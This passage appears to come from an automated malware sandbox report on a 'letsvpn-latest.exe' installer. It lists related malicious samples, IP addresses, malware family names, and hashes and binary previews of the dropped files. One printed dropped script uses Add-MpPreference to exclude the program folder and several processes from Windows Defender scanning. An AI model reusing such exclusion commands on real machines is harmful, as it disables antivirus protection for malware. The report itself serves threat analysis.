	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
	KLL.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
YANDEXRU	KLL_1.exe	Get hash	malicious	Unknown	Browse	5.255.255.77
	KLL.exe	Get hash	malicious	Unknown	Browse	5.255.255.77
	KLL_1.exe	Get hash	malicious	Unknown	Browse	5.255.255.77
	KLL.exe	Get hash	malicious	Unknown	Browse	77.88.44.55
	https://uitp5vcr.paperform.co/	Get hash	malicious	HTMLPhisher	Browse	5.255.255.77
	kz7iLmqRuq.exe	Get hash	malicious	Quasar	Browse	93.158.155.18
	jonathan.cody e-Doc File_014216.docx	Get hash	malicious	HTMLPhisher	Browse	77.88.44.55
	lets-test.msi	Get hash	malicious	Unknown	Browse	77.88.55.88
	Magmutual-Contractual-Agreement-usqe-276342429-.docx	Get hash	malicious	HTMLPhisher	Browse	77.88.44.55
	Scanner_SKME092878673568739809289728639802765768729809208.pdf	Get hash	malicious	Unknown	Browse	87.250.251.119
DXTL-HKDXTLTseungKwanOServiceHK	KLL.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	KLL.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	SC61092U5IO.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	LSW7109326UNI0.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	SC61092U5IO.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.7
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.7

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\letsvpn\LetsPRO.exe	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KuaiVpn-n.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\letsvpn\Update.exe	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KuaiVpn-n.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.740682303463164
Encrypted:	false
SSDEEP:	6:IPeGgdEYC5BeGgdEEFmJovkBPeGgdEEFrGvkBPeGgdEEFwn0ZkBPeGgdEEFQr4MF:ISuFAuEcJxSuEJGQSuEyPSuESr1SuE6
MD5:	B34636A4E04DE02D079BA7325E7565F0
SHA1:	F32C1211EAC22409BB195415CB5A8063431F75CD
SHA-256:	A9901397D39C0FC74ADFDB95DD5F95C3A14DEF3F9D58EF44AB45FC74A56D46DF
SHA-512:	6EB3255E3C89E2894F0085095FB5F6AB97349F0ED63C267820C82916F43A0AC014A94F98C186FF5D54806469A00C3C700A34D26DE90AFB090B80AC824A05AA2F
Malicious:	false
Preview:	Add-MpPreference -ExclusionPath "C:\Program Files (x86)\letsvpn"..Add-MpPreference -ExclusionProcess "LetsPRO.exe"..Add-MpPreference -ExclusionProcess "tapinstall.exe"..Add-MpPreference -ExclusionProcess "uninst.exe"..Add-MpPreference -ExclusionProcess "Update.exe"..Add-MpPreference -ExclusionProcess "ndp462-web.exe"

C:\Program Files (x86)\letsvpn\LetsPRO.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247272
Entropy (8bit):	6.894684781286516
Encrypted:	false
SSDEEP:	6144:eZzvhs2Z4n1E7g34XtVYAOfTdxz44JsQwOURhw:eJ+2Z4nShVY5HUEUnw
MD5:	8FC872149F0B8D2FB3D75C4076C0A8CA
SHA1:	D31CF6784649D805F7A994C9E9B72FFB2E1920DC
SHA-256:	869448B4FCD15473FE4FDC9DBBF05FCFA154B854231CCE94858B4BD7B196C13A
SHA-512:	77A225866574C2AE296E61DB1AEFD193D5766A1DF0E5B36C7BAC657958BDFDC7CCFFF85FE2B3E7CCBBDB482EE82B1FABC753042494B16BE0DF74EA96D87E65C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KLL_1.exe, Detection: malicious, Browse Filename: KLL.exe, Detection: malicious, Browse Filename: KLL_1.exe, Detection: malicious, Browse Filename: KLL.exe, Detection: malicious, Browse Filename: KuaiVpn-n.msi, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e..O.S.O.S.O.S.).R.O.S.).R.O.S.).R.O.S.'.R.O.S.'.R.O.S.'.R.O.S.).R.O.S.O.S.O.S5&.R.O.S5&.S.O.S.O.S.O.S5&.R.O.SRich.O.S........................PE..L.....p_............................+.............@.......................................@.....................................<.......L................+.......!......p...............................@...............,............................text...8........................... ..`.rdata..V...........................@..@.data....#..........................@....rsrc...L...........................@..@.reloc...!......."...x..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\Update.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1910760
Entropy (8bit):	5.9104950900062425
Encrypted:	false
SSDEEP:	24576:xWltPuAnUCiag6CKM2zCy9sQuOjj1VgZej6GeS4lNrCze5qhYp4t9m2X5l:Mt3UCiag6CKM2zCyZuOjJaxSS5qhr
MD5:	10A090D9B59FBBB404DD4DA233E3BA5B
SHA1:	AD683C9CA3D59F45DC0FB587B88B9B7B92B3118F
SHA-256:	677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC
SHA-512:	A4F70D0E16AC80ECADB03715D7C47CCB47AF248544CC936CEB7B06B1D08B3C84FB5C6618F5520A759089006D5926B9B843AE0499C5A68EDB8F208A091CA94845
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\Update.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KLL_1.exe, Detection: malicious, Browse Filename: KLL.exe, Detection: malicious, Browse Filename: KLL_1.exe, Detection: malicious, Browse Filename: KLL.exe, Detection: malicious, Browse Filename: KuaiVpn-n.msi, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5.p_............................>.... ........@.. .......................`.......\....@.....................................W.... ...................+...@....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................ .......H.......LU..............,.................................................{......{......{....r.(......}......}......}........0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o.......0..K....... .A. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X..0...........r...p......%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....(........{......{....

C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	113128
Entropy (8bit):	6.310120137379966
Encrypted:	false
SSDEEP:	1536:cARI0MvSAA6U7ks4jhOWE8i6wrNMRjYAZlfNASZfSOi3qAwrxX:cWMpA6Agg8ahQYAZlFnUqhR
MD5:	08C367733CD7D3C92F8E7838DA655A44
SHA1:	CA27248645DA63062337FBBB52A84E014250DC62
SHA-256:	DB8D8E2189B9C74952D5DB987224E6084CE3B0013516A613D3AF22C2E626B2C2
SHA-512:	46365E91A00274F6FE180E312CA3E3358A211B5566929F66FC2125BE7F431712D65DBBE61003FC3A309EB69544DC61C99734330A0BB6899563E505136463F7B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..~............... ........... ...............................<....`.................................a...O........................+..............T............................................ ............... ..H............text....\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{9.....{:...V.(;.....}9.....}:......0..A........u#.......4.,/(<....{9....{9...o=...,.(>....{:....{:...o?...... ..1 )UU.Z(<....{9...o@...X )UU.Z(>....{:...oA...X...0..b........r...p......%..{9......%q&....&...-.&.+...&...oB....%..{:......%q'....'...-.&.+...'...oB....(C.....{D.....{E...V.(;.....}D.....}E....0..A........u(.......4.,/(<....{D....{D...o=...,.(>....{E....{E...o?...... ...[ )UU.

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.942098509975081
Encrypted:	false
SSDEEP:	384:qu/ZC45lG1SpwKANynsAw/98E9VF3AM+ozD4Dmr:V/Z/loAw/KENAMxzLr
MD5:	DDE518AB3D3F80D4D7C7F3ABF26A4315
SHA1:	22B9F0AFBFB639D6F624E4049B4D29CCA349219E
SHA-256:	75F97A89EB8D78034FA6511DF14C73C7FAFF4AC34F63E11ECAEFA97AA44291A4
SHA-512:	C74E9E0869234DABC125505C9C89BC7B8A16341500F649F288FB93A5A17D9FBED20034D5227463FB1588D403201924794FDEF570A461E4A99BEE308BF9A8059F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................-... ...@....... ....................................@..................................,..S....@...................+...`.......+............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......$!..l...................P .......................................h....X\|f.........+.j$....r.~.3i....m2.....'.\|..OZ.ep..)t?...P6c.<<Qe.M...M.0.B.(+.v.Kk!...Y.....H..7r.[(.r....J_.!.....l.0..,...............~.......j.j.j....... .(....-.s....zN.j...(....-.s....z..(....*BSJB............v2.0.50727......l.......#~..(... ...#Strings....H.......#US.P.......#GUID...`.......#Blob...........W?........%3....................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.956445953667057
Encrypted:	false
SSDEEP:	384:P4TdwlzpwKANynsAw/98E9VF3AM+oh2tuHGq:GdjAw/KENAMxIuh
MD5:	05EEDB6A8F92D9E0991BAEABAA09A1DE
SHA1:	41139C70A16A8465738DAF3771603985D77B0B32
SHA-256:	33F72F1482A5D3D1397A306041E062BDBE029A9C0C0021D86EDAE64FBA9FF00F
SHA-512:	A57D0BD14FB0FA9D8A4B153F4CC276AC2106717BA4FA93B762760D63E2860EDB6BD9760CF45580263D431626A95F46816DFCB0D6FC6CED3F23ECAE409C0298BD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................... ...@....... ...................................@....................................K....@...................+...`......H)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H........!..D...................P .......................................!{.`DzN?...dr..1..9..NN/...[..t...2......C.......x..YCU......=....{.9W.J......^S.N;...iY........RBA......{..u..\~..1/M..^....~....(....-.s....zJ....(....-.s....z..(.....BSJB............v2.0.50727......l.......#~......`...#Strings....\|.......#US.........#GUID...........#Blob...........G7........%3......................................................................y............... .......y.....

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	15848
Entropy (8bit):	6.926566591160178
Encrypted:	false
SSDEEP:	192:xYN8B5+pPIKfhigcNynC5c77bgfU5izh/y2sE9jBF3A5K+org2J0y0tW:xYM5+pwKANynsAw/98E9VF3AM+orLiW
MD5:	79FD69F0B9A830A79DF9F8BC2B5BFC10
SHA1:	856174B9681CE4E6A3577D648E62E7EA0AC749D6
SHA-256:	8AFE7BC000819C896A43DAF819EDA166F9CA1CD671F91652015B636EF7ED2863
SHA-512:	1E8B9E56393F830DF94C5FAABC546448457E94C947C15DF154C7339A618521FED97F0A8182FB1169361F69DD0E48C867314AD4A731DD4EDEDF37057B6BFF1FEA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................(... ...@....... ....................................@..................................'..W....@...................+...`.......&............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H........ ......................P ......................................%.&...Fm........f...Dj..[..(...:w........s4H.. ...p.+^z...;_....~.k...\|... ..q..+.cv.VZ.A.[[\|..m.0...w.._m.<0...d-.[.R.BSJB............v2.0.50727......l.......#~...... ...#Strings.... .......#US.(.......#GUID...8.......#Blob...........G.........%3............................................................................3.....G.....U.....n.........'...................................%.7.........

C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	220648
Entropy (8bit):	7.172693296669628
Encrypted:	false
SSDEEP:	6144:+YP7/P97ilHDqO01ktQOzB4YjDnX08RYA3fP5SRhS:+YPpilHD+kQA4uk8RYA3fmS
MD5:	31B3A8A6C1DD13132C1D7C114DDEAE98
SHA1:	8E1531B42FAE1BFF7D43F4256A57AF67A075CAFC
SHA-256:	96CF524DD5DD3EADAE022DF9B7D9F9289600FE8F3B24969EBD90BC21C1A7312F
SHA-512:	2CCA6FF092C835CD1C66773113828F6FAFFD0CFED309DA45ADD6DA9CD1EBE3486C9A58293AFA758E1A5BA13FEA847B1AA6EF2839D2351F842C63E927E1A22E49
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....nX...........!.....(...........G... ........@.. ....................................@.................................`G..K....`...............2...+...........F............................................... ............... ..H............text....'... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B.................G......H........C..............D1......LC......................................F.~....o...........J.~..........o......0..E........u....-..t.......(....u....-...(............~....o...........o........0..T.......r...ps....re..ps.........r...p.....(.........(.................s....s....(.........*.0..G.............o....u....%-.&s......o....(...+(...+..,..#........o....+G.o....#........s....o...........o..........#.......?#.......?s....o....s.....s....%#........s....o....% h...ls...

C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	56296
Entropy (8bit):	6.198513563770946
Encrypted:	false
SSDEEP:	768:/fgAOG37OIh4Pqr8OvsQu4wwC9ZBMGAw/KENAMxQ41c:/fgng6Ie1OvI4wwC98GAwrxQn
MD5:	6465D2200CA37801DD31FC6E0F13D2EA
SHA1:	2CEA26B57815A280C8F88E11FB79D9522A3F9502
SHA-256:	43BADBC579709A45C89955ACFA4C4ADBCF37F5D455F6A759D62BA09BE051B4A4
SHA-512:	D45FE7401C4814C1F2BA24A26678ED4E6A137B5468A02C97924BAFD1F8B5ABF3D272513093954EE0CBBF5E4A54D34E5CE9A1F30ABCC411EE0D0371416A8A68BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Kn.V...........!..................... ........... ....................... .......R....`.....................................O.......X................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...X...........................@..@.reloc..............................@..B........................H........O...s...........................................................0..b............(....-P....=....s......o....o.......(.....o....o.......(....s....s............,..o.....~..............7R.......0..).......(.......(....-.#.......?..( ......(!.......0..).......(.......(....-.#.......?..( ......("...*....0............s......o.....o...........o....-...(#....X...($.....+p.o.....3...(#......($.....(%...Y.Y..+J.o.....3...(#......(&.....(%...X.X..+$.o.....3...(#.....('...Y.

C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	628712
Entropy (8bit):	6.139135987986315
Encrypted:	false
SSDEEP:	6144:ITTh6UXqQ0l0l2b4GQnn9lXNbOpIeQjDfjJcxm04FSh+0Nsj8X+iKbH2YjotRhu:waQ0SnPNb8IbJImZo4L+u
MD5:	98AEB224BD1555D587560402959438A5
SHA1:	3FB9F2E31DFDB8791547C4AFF465BCDB9E3094FC
SHA-256:	62D37FF40136DD7DE542010464B6F6F70E98B056B3A57FB45E709AF2FD41DE4E
SHA-512:	5A6E51F1300F78309C378DF6807A86EE1C4DAECE66AFA722BD8102923C652F898E8494F96BE6058865DB8DAC6E1DE85071AFA846D47C3EBB2DE96A4316A36DC6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L..........." ..0..b.............. ........... ....................................`.....................................O....................l...+..............T............................................ ............... ..H............text....`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B.......................H...........<N...........a..`...(.........................................{w.....{x...V.(y.....}w.....}x......0..;........u;.....,/(z....{w....{w...o{...,.(\|....{x....{x...o}..... .7.^ )UU.Z(z....{w...o~...X )UU.Z(\|....{x...o....X.0...........r...p......%..{w..........>.....>...-.q>........>...-.&.+...>...o.....%..{x..........?.....?...-.q?........?...-.&.+...?...o.....(......{......{....V.(y.....}......}.......0..;........u@.....,/(z....{.....{....o{...,.(\|....{...

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1471464
Entropy (8bit):	6.909759686698742
Encrypted:	false
SSDEEP:	24576:RKHzzSw672M9dzY9QV+baTAjHtKfYqu9D:RvCM9H+bYktuja
MD5:	D664FB656FC05BE54EA49950688BE980
SHA1:	98B18B4485C0074F868BCF476C413F64FBEB7A15
SHA-256:	141B71A28B0D4ED9B8586BE50842CD1B32F2C86EB389444D39DB3AFC47AE8EDF
SHA-512:	31C4365D655D54B94D9D1BA4B5A987372742D19F3867FFA26F88193C0E76CE2FBB78D006EDF6BC97435C4E1F2F7CC6A04B8CAB6B5AF641E95CFB5CA54DF9587D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p............"...0.................. ........@.. ....................................`.....................................O.......P............H...+..........D...8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc...............F..............@..B.......................H........b..X...........L.................................................{.....{+...V.(,.....}.....}+......0..A........u........4.,/(-....{....{...o....,.(/....{+....{+...o0...... .z.. )UU.Z(-....{...o1...X )UU.Z(/....{+...o2...X...0..b........r...p......%..{......%q.........-.&.+.......o3....%..{+......%q.........-.&.+.......o3....(4.....(5...^.(5..........%...}....:.(5.....}....:.(5.....}....:.(,.....}......(6.....(7.....J.{....%-.&.o8.....(5...*:.(

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe.config

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	22737
Entropy (8bit):	5.008129188489306
Encrypted:	false
SSDEEP:	96:liBqrQGGJHowfGli6CkuMcuiuwuwu8ux0GReGWeGFuGgeKCUDuTeHOTu0U5e3eT4:liBqrUOpPUDRTHffIC
MD5:	3B1D12693EE14F307D7E8B1F08AE23C0
SHA1:	82719E54B457A4E5CC57B33714E67FC0305B6E90
SHA-256:	0B2A37670105E8D30FE0C4AECFAD876F669663834A6C91BC89E309FB609032B7
SHA-512:	AC7B99E0FB2E7D656DFC8E5DF1FAD58E4446C854E6D1D05A48DBD5FE93AB4978C3B206D828D8BCFC874EFF0981886BE4AE72E063AACCF895959D7CD5456A5E95
Malicious:	true
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="EnvConfig" type="System.Configuration.NameValueSectionHandler" />.. <section name="Production" type="System.Configuration.DictionarySectionHandler" />.. <section name="Stage" type="System.Configuration.DictionarySectionHandler" />.. </configSections>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.2" />.. </startup>.. <EnvConfig>.. <add key="env" value="Production" />.. <add key="adCampaign" value="" />.. </EnvConfig>.. <Production></Production>.. <Stage></Stage>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.0.3.851" newVersion="2.0.3.851" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23016
Entropy (8bit):	6.441130187116346
Encrypted:	false
SSDEEP:	384:28KmV2K7tmrZoecNmX3pwKANynsAw/98E9VF3AM+opv28/LYe:R2KZsuV4WAw/KENAMxpRP
MD5:	71D1A40FFC5DF867F6BDE5C151979AC6
SHA1:	3393DD38F6EE1E5AC3BCEBE1C1D62D7915EAF66C
SHA-256:	386BC014245093353DD4DCE5E0E2CEDCCFCEDED9A755EF7A5E1ED22CDC7060A0
SHA-512:	BEF1A6FB75E50354FAB91F8D659D2D017323068DA2D39ED241157B45D8C60C0AD359D1F3D30A509420F3F3C08FB39C1E4FF895DDEC1884223C38A8C52DE8056F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ...............................X....`.................................OD..O....`...................+...........C..8............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................D......H.......P#..p ..........................................................2r...p.(......(......(....6r%..p..(....6ru..p..(....2r...p.(....6r...p..(....6rg..p..(....2r...p.(....2r...p.(....:r...p...(.....rs..p......%...%...%...%...%....(......(....6r...p..(....2rn..p.(....2r...p.(....2r...p.(....2r...p.(.....rz..p......%...%...%...%...%....%....(....2r...p.(......(....2r...p.(....6r...p..(....:rI..p...(....2r...p.(....2r...p.(....6r...p..(....*6ro..p..(

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.5881688344599585
Encrypted:	false
SSDEEP:	384:/alg1rUI/8TocEccc2oS53g4YAb6Q+ReJRpwKANynsAw/98E9VF3AM+oLM8B:NUI/8ccEcccZhRAujeaAw/KENAMxwY
MD5:	3751142369266F95134C079B540BCA53
SHA1:	C2AE53C26D860CD757E1DADBD49DCE4EED728B30
SHA-256:	605BC407A2E8453133A7386B6C11C656F3D5BA59F973849C9AEB3CDD084DAE51
SHA-512:	372DA867FA162D4385316C4D61D33F30AB0C812AA8EC087630FEE4FAB94BE5ECF05C4D8A7F9B8D967FA966F1C590A3F2EDA880758576CCF80010581274184D3D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..,..........2K... ...`....... ....................................`..................................J..O....`...............4...+..........HJ..8............................................ ............... ..H............text...8+... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................K......H........$..`%..........................................................2.(-...(....6.(-....(......(....6.(.....(,...6.(.....(,.....(....6.(.....(,...6.(.....(,.....(......(....b.(-....(-...(.....(,...v.r...p.(....(.....(-...(....2(.....(,...2.(-...(.....0.........................................................(-...~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+(.....("....($...2.(-...(&...2.(-...((...J.(-....(-...(...*..0..A.......

C:\Program Files (x86)\letsvpn\app-3.7.0\Log\20240720.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	229
Entropy (8bit):	5.1599765989651365
Encrypted:	false
SSDEEP:	6:iSFzI/tJxfrOz+mAJXm1n9qdW8VRxDLM03fYn:i2zSx21sXpUULH3wn
MD5:	FB0D614F358F9BACE3AD73335930BE5C
SHA1:	9E3AF46BC810DE80EE1849530EAB6224D7138DA9
SHA-256:	66BDEA43EBB630DCB13115AC4969AAC871643633E06DC57F45BD93E9D7A88C30
SHA-512:	5BBAD2BACDD78218F21C805D5BDA8BE5B2E6619A0DFFDCEF9F40EED1DA24689F0B51FA91B6EA2472AEDE0AED34F2C468B890AE59676AD2E893004A078F31E1BD
Malicious:	false
Preview:	2024-07-20 10:29:10,217 [Level: ERROR] [Thread: 15] [class:logger] [(null)]: SC-PusherHelper _pusher_Error ..PusherClient.PusherException: App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?..

C:\Program Files (x86)\letsvpn\app-3.7.0\Log\Lets.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with very long lines (13680)
Category:	dropped
Size (bytes):	241437
Entropy (8bit):	6.00657702571153
Encrypted:	false
SSDEEP:	6144:M981pcvFptFVHrGV0+XX88OOqUFm1yEio:X1pcdlVL20+aOdw1Jio
MD5:	74B1F809C330ACE1E6E33A4D7475D3F7
SHA1:	6091E044516E1049AB469032F27E7A1368F00903
SHA-256:	D3FFE16E5BF3A341630B8B882811F3F459CBB10B07CA84EAF9E1D4B9D447219E
SHA-512:	250287CDC41C2CE7AC67A9A87F616F70E9A53929B2E16F935A12377AEFA16CEF1366ED941451F66B4D1E0CA93F64065A5F443617113ACD24AB1FB4A7CD14526B
Malicious:	false
